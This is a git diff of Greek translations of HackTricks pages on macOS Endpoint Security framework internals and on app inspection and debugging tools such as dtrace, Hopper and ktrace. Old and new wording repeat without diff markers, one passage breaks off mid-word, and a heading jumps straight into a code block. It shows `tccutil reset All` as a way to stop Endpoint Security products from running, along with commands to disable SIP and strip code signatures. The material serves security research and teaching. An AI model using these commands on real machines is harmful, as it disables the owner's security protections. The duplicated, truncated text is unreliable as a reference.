* **Packet Tunnel**: Χρησιμοποιείται για τη δημιουργία ενός πελάτη VPN που υλοποιεί ένα πρωτόκολλο VPN με πακέτα. Αυτό σημαίνει ότι χειρίζεται την κίνηση του δικτύου με βάση τα μεμονωμένα πακέτα.
* **Filter Data**: Χρησιμοποιείται για το φιλτράρισμα των "ροών" του δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί δεδομένα δικτύου σε επίπεδο ροής.
* **Filter Packet**: Χρησιμοποιείται για το φιλτράρισμα των μεμονωμένων πακέτων δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί δεδομένα δικτύου σε επίπεδο πακέτου.
* **DNS Proxy**: Χρησιμοποιείται για τη δημιουργία ενός προσαρμοσμένου παροχέα DNS. Μπορεί να χρησιμοποιηθεί για την παρακολούθηση ή την τροποποίηση αιτημάτων και απαντήσεων DNS.
* **Προξειδωτής Εφαρμογής**: Χρησιμοποιείται για τη δημιουργία ενός πελάτη VPN που υλοποιεί ένα πρωτόκολλο VPN που εστιάζεται σε ροές σύνδεσης αντί για μεμονωμένα πακέτα.
* **Σήραγγα Πακέτων**: Χρησιμοποιείται για τη δημιουργία ενός πελάτη VPN που υλοποιεί ένα πρωτόκολλο VPN που εστιάζεται σε μεμονωμένα πακέτα.
* **Φίλτρο Δεδομένων**: Χρησιμοποιείται για το φιλτράρισμα "ροών" δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί δεδομένα δικτύου στο επίπεδο ροής.
* **Φίλτρο Πακέτων**: Χρησιμοποιείται για το φιλτράρισμα μεμονωμένων πακέτων δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί δεδομένα δικτύου στο επίπεδο πακέτου.
* **Προξειδωτής DNS**: Χρησιμοποιείται για τη δημιουργία ενός προσαρμοσμένου παροχέα DNS. Μπορεί να χρησιμοποιηθεί για την παρακολούθηση ή την τροποποίηση αιτημάτων και απαντήσεων DNS.
## Πλαίσιο ασφαλείας τερματικού σημείου
## Πλαίσιο Ασφάλειας Τερματικού
Το πλαίσιο ασφαλείας τερματικού σημείου είναι ένα πλαίσιο που παρέχεται από την Apple στο macOS και παρέχει ένα σύνολο διεπαφών προγραμματισμού εφαρμογών (APIs) για την ασφάλεια του συστήματος. Προορίζεται για χρήση από **προμηθευτές ασφάλειας και προγραμματιστές για τη δημιουρ
Το Πλαίσιο Ασφάλειας Τερματικού είναι ένα πλαίσιο που παρέχεται από την Apple στο macOS και παρέχει ένα σύνολο APIs για την ασφάλεια του συστήματος. Προορίζεται για χρήση από **προμηθευτές ασφάλειας και προγραμματιστές για τη δημιουργία προϊόντων που μπορούν να παρακολουθούν και να ελέγχουν τη δραστηριότητα του συστήματος** για την αναγνώριση και προστασία από κακόβουλη δραστηριότητα.
Αυτό το πλαίσιο παρέχει μια **συλλογή από APIs για την παρακολούθηση και τον έλεγχο της δραστηριότητας του συστήματος**, όπως εκτελέσεις διεργασιών, συμβάντα συστήματος αρχείων, δικτύου και πυρήνα.
Η καρδιά αυτού του πλαισίου υλοποιείται στον πυρήνα, ως Πυρήνας Επέκτασης (KEXT) που βρίσκεται στο **`/System/Library/Extensions/EndpointSecurity.kext`**. Αυτός ο KEXT αποτελείται από αρκετά βασικά στοιχεία:
* **EndpointSecurityDriver**: Λειτουργεί ως "σημείο εισόδου" για την πυρήνα επέκταση. Είναι το κύριο σημείο αλληλεπίδρασης μεταξύ του λειτουργικού συστήματος και του πλαισίου Ασφάλειας Τερματικού.
* **EndpointSecurityEventManager**: Αυτό το στοιχείο είναι υπεύθυνο για την υλοποίηση των συνδέσεων πυρήνα. Οι συνδέσεις πυρήνα επιτρέπουν στο πλαίσιο να παρακολουθεί συμβάντα συστήματος με την παρέμβαση κλήσεων συστήματος.
* **EndpointSecurityClientManager**: Διαχειρίζεται την επικοινωνία με τους πελάτες χώρου χρήστη, παρακολουθώντας ποιοι πελάτες είναι συνδεδεμένοι και χρειάζονται να λάβουν ειδοποιήσεις συμβάντων.
* **EndpointSecurityMessageManager**: Αποστέλλει μηνύματα και ειδοποιήσεις συμβάντων στους πελάτες χώρου χρήστη.
Τα συμβάντα που μπορεί να παρακολουθήσει το πλαίσιο Ασφάλειας Τερματικού κατηγοριοποιούνται σε:
* Συμβάντα αρχείων
* Συμβάντα διεργασιών
* Συμβάντα socket
* Συμβάντα πυρήνα (όπως φόρτωση/εκφόρτωση μιας πυρήνας επέκτασης ή ανοίγμα ενός συσκευής I/O Kit)
### Αρχιτεκτονική Πλαισίου Ασφάλειας Τερματικού
<figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
Η **επικοινωνία χώρου χρήστη** με το πλαίσιο Ασφάλειας Τερματικού γίνεται μέσω της κλάσης IOUserClient. Χρησιμοποιούνται δύο διαφορετικές υποκλάσεις, ανάλογα με τον τύπο του καλούντος:
* **EndpointSecurityDriverClient**: Αυτό απαιτεί την άδεια `com.apple.private.endpoint-security.manager`, η οποία κατέχεται μόνο από τη διεργασία συστήματος `endpointsecurityd`.
* **EndpointSecurityExternalClient**: Αυτό απαιτεί την άδεια `com.apple.developer.endpoint-security.client`. Αυτό θα χρησιμοποιούνταν τυπικά από λογισμικό ασφαλείας τρίτων που χρειάζεται να αλληλεπιδρά με το πλαίσιο Ασφάλειας Τερματικού.
Οι Επεκτάσεις Ασφάλειας Τερματικού: **`
```bash
tccutil reset All
```
Για **περισσότερες πληροφορίες** σχετικά με αυτήν την παράκαμψη και σχετικές, ελέγξτε την ομιλία [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
Για **περισσότερες πληροφορίες** σχετικά με αυτήν την παράκαμψη και σχετικές, ελέγξτε την ομιλία [#OBTS v5.0: "Η Αχίλλειος Πτέρνα της Ασφάλειας Τερματικού" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
Στο τέλος, αυτό διορθώθηκε δίνοντας τη νέα άδεια **`kTCCServiceEndpointSecurityClient`** στην εφαρμογή ασφαλείας που διαχειρίζεται ο **`tccd`**, έτσι ώστε το `tccutil` να μην καθαρίζει τις άδειές της, εμποδίζοντάς την από το να εκτελεστεί.
Στο τέλος αυτό διορθώθηκε δίνοντας τη νέα άδεια **`kTCCServiceEndpointSecurityClient`** στην εφαρμογή ασφαλείας που διαχειρίζεται ο **`tccd`** έτσι ώστε το `tccutil` να μην εκκαθαρίζει τις άδειές της εμποδίζοντάς την από το να εκτελεστεί.
## Αναφορές
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**OBTS v3.0: "Ασφάλεια & Ανασφάλεια Τερματικού" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Εφαρμογές - Επιθεώρηση, εντοπισμός σφαλμάτων και Fuzzing
# macOS Apps - Επιθεώρηση, εντοπισμός σφαλμάτων και Fuzzing
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
@ -114,7 +115,7 @@ ldid -S/tmp/entl.xml <binary>
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) είναι ένα εργαλείο χρήσιμο για να επιθεωρήσετε αρχεία **.pkg** (εγκαταστάτες) και να δείτε τι περιέχουν πριν την εγκατάστασή τους.\
Αυτοί οι εγκαταστάτες έχουν σενάρια bash `preinstall` και `postinstall` που οι δημιουργοί κακόβουλου λογισμικού συνήθως καταχρώνται για να **διατηρήσουν** το **κακόβουλο λογισμικό**.
Αυτοί οι εγκαταστάτες έχουν σενάρια bash `preinstall` και `postinstall` που οι δημιουργοί κακόβουλου λογισμικού συνήθως καταχρώνται για να **διατηρήσουν** **το** **κακόβουλο** **λογισμικό**.
### hdiutil
@ -140,20 +141,20 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
* Οι διεπαφές που ορίζονται
* Οι μέθοδοι της διεπαφής
* Οι μεταβλητές παραδειγμάτων της διεπαφής
* Οι μεταβλητές της διεπαφής παραδείγματος
* Οι ορισμένες πρωτόκολλα
Σημειώστε ότι αυτά τα ονόματα μπορεί να είναι αποκρυπτογραφημένα για να δυσκολέψει η αντιστροφή του δυαδικού.
### Κλήση συνάρτησης
Όταν καλείται μια συνάρτηση σε ένα δυαδικό που χρησιμοποιεί Objective-C, ο μεταγλωττισμένος κώδικας αντί να καλεί αυτήν τη συνάρτηση, θα καλέσει το **`objc_msgSend`**. Το οποίο θα καλέσει την τελική συνάρτηση:
Όταν καλείται μια συνάρτηση σε ένα δυαδικό που χρησιμοποιεί Objective-C, ο μεταγλωττισμένος κώδικας αντί να καλεί αυτήν τη συνάρτηση, θα καλέσει το **`objc_msgSend`**. Το οποίο θα καλεί την τελική συνάρτηση:
![](<../../../.gitbook/assets/image (305).png>)
Τα ορίσματα που αναμένει αυτή η συνάρτηση είναι:
* Το πρώτο όρισμα (**self**) είναι "ένας δείκτης που δείχνει στο **παράδειγμα της κλάσης που θα λάβει το μήνυμα**". Ή απλά, είναι το αντικείμενο στο οποίο καλείται η μέθοδος. Αν η μέθοδος είναι μια μέθοδος κλάσης, αυτό θα είναι ένα παράδειγμα του αντικειμένου της κλάσης (συνολικά), ενώ για μια μέθοδο παραδείγματος, το self θα δείχνει σε ένα παραδειγμένο παράδειγμα της κλάσης ως αντικείμενο.
* Το πρώτο όρισμα (**self**) είναι "ένας δείκτης που δείχνει στο **παράδειγμα της κλάσης που θα λάβει το μήνυμα**". Ή απλά, είναι το αντικείμενο στο οποίο καλείται η μέθοδος. Εάν η μέθοδος είναι μια μέθοδος κλάσης, αυτό θα είναι ένα παράδειγμα του αντικειμένου της κλάσης (συνολικά), ενώ για μια μέθοδο παραδείγματος, το self θα δείχνει σε ένα παραδειγμένο παράδειγμα της κλάσης ως αντικείμενο.
* Το δεύτερο όρισμα, (**op**), είναι "ο επιλογέας της μεθόδου που χειρίζεται το μήνυμα". Και πάλι, απλούστερα, αυτό είναι απλά το **όνομα της μεθόδου.**
* Τα υπόλοιπα ορίσματα είναι οποιεσδήποτε **τιμές που απαιτούνται από τη μέθοδο** (op).
@ -165,25 +166,25 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
x64:
| **Ορισμός** | **Καταχώρηση** | **(για) objc\_msgSend** |
| **Ορίσματα** | **Καταχώρηση** | **(για) objc\_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1ο όρισμα** | **rdi** | **self: αντικείμενο πάνω στο οποίο καλείται η μέθοδος** |
| **2ο όρισμα** | **rsi** | **op: όνομα της μεθόδου** |
| **3ο όρισμα** | **rdx** | **1ο όρισμα στη μέθοδο** |
| **4ο όρισμα** | **rcx** | **2ο όρισμα στη μέθοδο** |
| **5ο όρισμα** | **r8** | **3ο όρισμα στη μέθοδο** |
| **6ο όρισμα** | **r9** | **4ο όρισμα στη μέθοδο** |
| **7ο+ όρισμα** | <p><strong>rsp+</strong><br><strong>(στη στοίβα)</strong></p> | **5ο+ όρισμα στη μέθοδο** |
| **1ο όρισμα** | **rdi** | **self: αντικείμενο στο οποίο καλείται η μέθοδος** |
| **2ο όρισμα** | **rsi** | **op: όνομα της μεθόδου** |
| **3ο όρισμα** | **rdx** | **1ο όρισμα στη μέθοδο** |
| **4ο όρισμα** | **rcx** | **2ο όρισμα στη μέθοδο** |
| **5ο όρισμα** | **r8** | **3ο όρισμα στη μέθοδο** |
| **6ο όρισμα** | **r9** | **4ο όρισμα στη μέθοδο** |
| **7ο+ όρισμα** | <p><strong>rsp+</strong><br><strong>(στη στοίβα)</strong></p> | **5ο+ όρισμα στη μέθοδο** |
### Αποθήκευση μεταδεδομένων ObjectiveC
### Απορρόφηση μεταδεδομένων ObjectiveC
### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump) είναι ένα εργαλείο για την ανάλυση Objective-C δυαδικών. Το github καθορίζει dylibs αλλά αυτό λειτουργεί επίσης με εκτελέσιμα.
[**Dynadump**](https://github.com/DerekSelander/dynadump) είναι ένα εργαλείο για την ανάλυση κλάσεων δυαδικών Objective-C. Το github καθορίζει dylibs αλλά αυτό λειτουργεί επίσης με εκτελέσιμα.
```bash
./dynadump dump /path/to/bin
```
Προς το παρόν, αυτό **είναι το καλύτερο που λειτουργεί**.
Την ώρα που γίνεται η συγγραφή, αυτό **είναι αυτό που λειτουργεί καλύτερα**.
#### Κανονικά εργαλεία
```bash
@ -199,7 +200,7 @@ objdump --macho --objc-meta-data /path/to/bin
#### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) είναι ένα μοντέρνο και πολυπλατφορμικό dump κλάσεων Objective-C. Σε σύγκριση με τα υπάρχοντα εργαλεία, το iCDump μπορεί να τρέξει ανεξάρτητα από το οικοσύστημα της Apple και εκθέτει δεσμεύσεις Python.
[**iCDump**](https://github.com/romainthomas/iCDump) είναι ένα μοντέρνο και πολυπλατφορμικό Objective-C class dump. Σε σύγκριση με τα υπάρχοντα εργαλεία, το iCDump μπορεί να τρέξει ανεξάρτητα από το οικοσύστημα της Apple και παρέχει δέσμες Python.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@ -210,7 +211,7 @@ print(metadata.to_decl())
Με τα δυαδικά αρχεία Swift, καθώς υπάρχει συμβατότητα με την Objective-C, μερικές φορές μπορείτε να εξάγετε δηλώσεις χρησιμοποιώντας το [class-dump](https://github.com/nygard/class-dump/), αλλά όχι πάντα.
Με τις γραμμές εντολών **`jtool -l`** ή **`otool -l`** είναι δυνατόν να βρείτε αρκετές ενότητες που ξεκινούν με το πρόθεμα **`__swift5`**:
Με τις γραμμές εντολών **`jtool -l`** ή **`otool -l`** είναι δυνατόν να βρείτε πολλές ενότητες που ξεκινούν με το πρόθεμα **`__swift5`**:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -224,7 +225,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις [**πληροφορίες που αποθηκεύονται σε αυτές τις ενότητες σε αυτήν την ανάρτηση στο blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Επιπλέον, **τα δυαδικά αρχεία Swift μπορεί να έχουν σύμβολα** (για παράδειγμα, οι βιβλιοθήκες χρειάζονται να αποθηκεύουν σύμβολα ώστε οι λειτουργίες τους να μπορούν να κληθούν). Τα **σύμβολα συνήθως περιέχουν πληροφορίες σχετικά με το όνομα της λειτουργίας** και τα χαρακτηριστικά με έναν ασχημο τρόπο, οπότε είναι πολύ χρήσιμα και υπάρχουν "**αποκωδικοποιητές"** που μπορούν να ανακτήσουν το αρχικό όνομα:
Επιπλέον, **Τα δυαδικά αρχεία Swift μπορεί να έχουν σύμβολα** (για παράδειγμα, οι βιβλιοθήκες χρειάζονται να αποθηκεύουν σύμβολα ώστε οι λειτουργίες τους να μπορούν να κληθούν). Τα **σύμβολα συνήθως περιέχουν πληροφορίες σχετικά με το όνομα της λειτουργίας** και τα χαρακτηριστικά τους με έναν ασχημο τρόπο, οπότε είναι πολύ χρήσιμα και υπάρχουν "**αποκωδικοποιητές"** που μπορούν να ανακτήσουν το αρχικό όνομα:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -235,7 +236,7 @@ swift demangle
## Δυναμική Ανάλυση
{% hint style="warning" %}
Σημειώστε ότι για να εκτελέσετε αποσφαλμάτωση δυαδικών αρχείων, **πρέπει να απενεργοποιήσετε το SIP** (`csrutil disable` ή `csrutil enable --without debug`) ή να αντιγράψετε τα δυαδικά αρχεία σε έναν προσωρινό φάκελο και **να αφαιρέσετε την υπογραφή** με την εντολή `codesign --remove-signature <διαδρομή-δυαδικού>` ή να επιτρέψετε την αποσφαλμάτωση του δυαδικού (μπορείτε να χρησιμοποιήσετε [αυτό το σενάριο](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
Σημειώστε ότι για να εκτελέσετε αποσφαλμάτωση δυαδικών αρχείων, **πρέπει να απενεργοποιηθεί το SIP** (`csrutil disable` ή `csrutil enable --without debug`) ή να αντιγράψετε τα δυαδικά αρχεία σε έναν προσωρινό φάκελο και **να αφαιρέσετε την υπογραφή** με την εντολή `codesign --remove-signature <διαδρομή-δυαδικού>` ή να επιτραπεί η αποσφαλμάτωση του δυαδικού (μπορείτε να χρησιμοποιήσετε [αυτό το σενάριο](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
{% endhint %}
{% hint style="warning" %}
@ -275,15 +276,15 @@ swift demangle
#### Αριστερό πλαίσιο
Στο αριστερό πλαίσιο του hopper είναι δυνατό να δείτε τα σύμβολα (**Ετικέτες**) του δυαδικού, τη λίστα των διαδικασιών και συναρτήσεων (**Διαδικασίες**) και τις συμβολοσειρές (**Συμβολοσειρές**). Αυτές δεν είναι όλες οι συμβολοσειρές αλλά αυτές που έχουν οριστεί σε διάφορα μέρη του αρχείου Mac-O (όπως _cstring ή_ `objc_methname`).
Στο αριστερό πλαίσιο του hopper είναι δυνατό να δείτε τα σύμβολα (**Ετικέτες**) του δυαδικού, τη λίστα των διαδικασιών και λειτουργιών (**Διαδικασίες**) και τις συμβολοσειρές (**Συμβολοσειρές**). Αυτές δεν είναι όλες οι συμβολοσειρές αλλά αυτές που έχουν οριστεί σε διάφορα σημεία του αρχείου Mac-O (όπως _cstring ή_ `objc_methname`).
#### Κεντρικό πλαίσιο
Στο κεντρικό πλαίσιο μπορείτε να δείτε το **κωδικό αποσυναρμολόγησης**. Και μπορείτε να το δείτε ως **ακατέργαστο** αποσυναρμολόγηση, ως **γράφημα**, ως **αποδιασυναρμολόγηση** και ως **δυαδικό** κάνοντας κλικ στο αντίστοιχο εικονίδιο:
Στο κεντρικό πλαίσιο μπορείτε να δείτε το **κωδικό αποσυναρμολόγησης**. Και μπορείτε να το δείτε ως **ακατέργαστο** αποσυναρμολόγηση, ως **γράφημα**, ως **αποδιακριτοποιημένο** και ως **δυαδικό** κάνοντας κλικ στο αντίστοιχο εικονίδιο:
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
Κάνοντας δεξί κλικ σε ένα αντικείμενο κώδικα μπορείτε να δείτε **αναφορές προς/από αυτό το αντικείμενο** ή ακόμα να αλλάξετε το όνομά του (αυτό δεν λειτουργεί στο αποδιασυναρμολογημένο ψευδοκώδικα):
Κάνοντας δεξί κλικ σε ένα αντικείμενο κώδικα μπορείτε να δείτε **αναφορές προς/από αυτό το αντικείμενο** ή ακόμα να αλλάξετε το όνομά του (αυτό δεν λειτουργεί στο αποδιακριτοποιημένο ψευδοκώδικα):
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
@ -291,7 +292,7 @@ swift demangle
#### Δεξί πλαίσιο
Στο δεξί πλαίσιο μπορείτε να δείτε ενδιαφέρουσες πληροφορίες όπως το **ιστορικό πλοήγησης** (ώστε να γνωρίζετε πώς φτάσατε στην τρέχουσα κατάσταση), το **γράφημα κλήσεων** όπου μπορείτε να δείτε όλες τις **συναρτήσεις που καλούν αυτή τη συνάρτηση** και όλες τις συναρτήσεις που **αυτή η συνάρτηση καλεί**, και πληροφορίες για τις **τοπικές μεταβλητές**.
Στο δεξί πλαίσιο μπορείτε να δείτε ενδιαφέρουσες πληροφορίες όπως το **ιστορικό πλοήγησης** (ώστε να γνωρίζετε πώς φτάσατε στην τρέχουσα κατάσταση), το **γράφημα κλήσεων** όπου μπορείτε να δείτε όλες τις **λειτουργίες που καλούν αυτή τη λειτουργία** και όλες τις λειτουργίες που **αυτή η λειτουργία καλεί**, και πληροφορίες για τις **τοπικές μεταβλητές**.
### dtrace
@ -303,6 +304,7 @@ swift demangle
Για να ενεργοποιήσετε το Dtrace χωρίς να απενεργοποιήσετε πλήρως την προστασία SIP μπορείτε να εκτελέσετε σε λειτουργία ανάκαμψης: `csrutil enable --without dtrace`
Μπορείτε επίσης να **`dtrace`** ή **`dtruss`** δυαδικά που **έχετε συντάξει**.
{% endhint %}
```bash
dtrace -l | head
ID PROVIDER MODULE FUNCTION NAME
@ -312,9 +314,9 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
Το όνομα της έρευνας αποτελείται από τέσσερα μέρη: ο πάροχος, το module, η λειτουργία και το όνομα (`fbt:mach_kernel:ptrace:entry`). Εάν δεν καθορίσετε κάποιο μέρος του ονόματος, το Dtrace θα το εφαρμόσει ως μπαλαντέρ.
Το όνομα της έρευνας αποτελείται από τέσσερα μέρη: τον πάροχο, το module, τη λειτουργία και το όνομα (`fbt:mach_kernel:ptrace:entry`). Εάν δεν καθορίσετε κάποιο μέρος του ονόματος, το Dtrace θα το εφαρμόσει ως μπαλαντέρ.
Για να ρυθμίσετε το DTrace για την ενεργοποίηση των ερευνών και για να καθορίσετε ποιες ενέργειες να εκτελεστούν όταν εκτοξεύονται, θα πρέπει να χρησιμοποιήσετε τη γλώσσα D.
Για να ρυθμίσετε το DTrace για την ενεργοποίηση των ερευνών και για να καθορίσετε ποιες ενέργειες να εκτελούνται όταν ενεργοποιούνται, θα πρέπει να χρησιμοποιήσετε τη γλώσσα D.
Μια πιο λεπτομερής εξήγηση και περισσότερα παραδείγματα μπορούν να βρεθούν στο [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
@ -322,7 +324,7 @@ ID PROVIDER MODULE FUNCTION NAME
Εκτελέστε `man -k dtrace` για να εμφανιστούν τα **διαθέσιμα scripts του DTrace**. Παράδειγμα: `sudo dtruss -n binary`
* Σειρά
* Στη γραμμή
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -372,7 +374,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
```
### kdebug
Πρόκειται για ένα εργαλείο καταγραφής πυρήνα. Οι τεκμηριωμένοι κωδικοί μπορούν να βρεθούν στο **`/usr/share/misc/trace.codes`**.
Είναι ένα εργαλείο καταγραφής πυρήνα. Οι τεκμηριωμένοι κωδικοί μπορούν να βρεθούν στο **`/usr/share/misc/trace.codes`**.
Εργαλεία όπως `latency`, `sc_usage`, `fs_usage` και `trace` το χρησιμοποιούν εσωτερικά.
@ -384,7 +386,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
* Ορίστε το ίχνος με το KERN\_KDSETBUF και το KERN\_KDSETUP
* Χρησιμοποιήστε το KERN\_KDGETBUF για να λάβετε τον αριθμό των καταχωρήσεων στο buffer
* Βρείτε τον δικό σας πελάτη από το ίχνος με το KERN\_KDPINDEX
* Ενεργοποιήστε την καταγραφή με το KERN\_KDENABLE
* Ενεργοποιήστε το ίχνος με το KERN\_KDENABLE
* Διαβάστε το buffer καλώντας το KERN\_KDREADTR
* Για να ταιριάξετε κάθε νήμα με τη διεργασία του καλέστε το KERN\_KDTHRMAP.
@ -394,11 +396,11 @@ dtruss -c -p 1000 #get syscalls of PID 1000
### ktrace
Οι `ktrace_*` APIs προέρχονται από το `libktrace.dylib` το οποίο τυλίγει αυτά του `Kdebug`. Έτσι, ένας πελάτης μπορεί απλά να καλέσει τις `ktrace_session_create` και `ktrace_events_[single/class]` για να ορίσει κλήσεις επιστροφής σε συγκεκριμένους κωδικούς και στη συνέχεια να το ξεκινήσει με το `ktrace_start`.
Οι `ktrace_*` APIs προέρχονται από το `libktrace.dylib` το οποίο τυλίγει αυτά του `Kdebug`. Έπειτα, ένας πελάτης μπορεί απλά να καλέσει τις `ktrace_session_create` και `ktrace_events_[single/class]` για να ορίσει επανακλήσεις σε συγκεκριμένους κωδικούς και στη συνέχεια να το ξεκινήσει με το `ktrace_start`.
Μπορείτε να χρησιμοποιήσετε αυτό ακόμα και με το **SIP ενεργοποιημένο**
Μπορείτε να χρησιμοποιήσετε ως πελάτες το εργαλείο `ktrace`:
Μπορείτε να χρησιμοποιήσετε ως πελάτες το βοηθητικό πρόγραμμα `ktrace`:
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
@ -408,7 +410,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
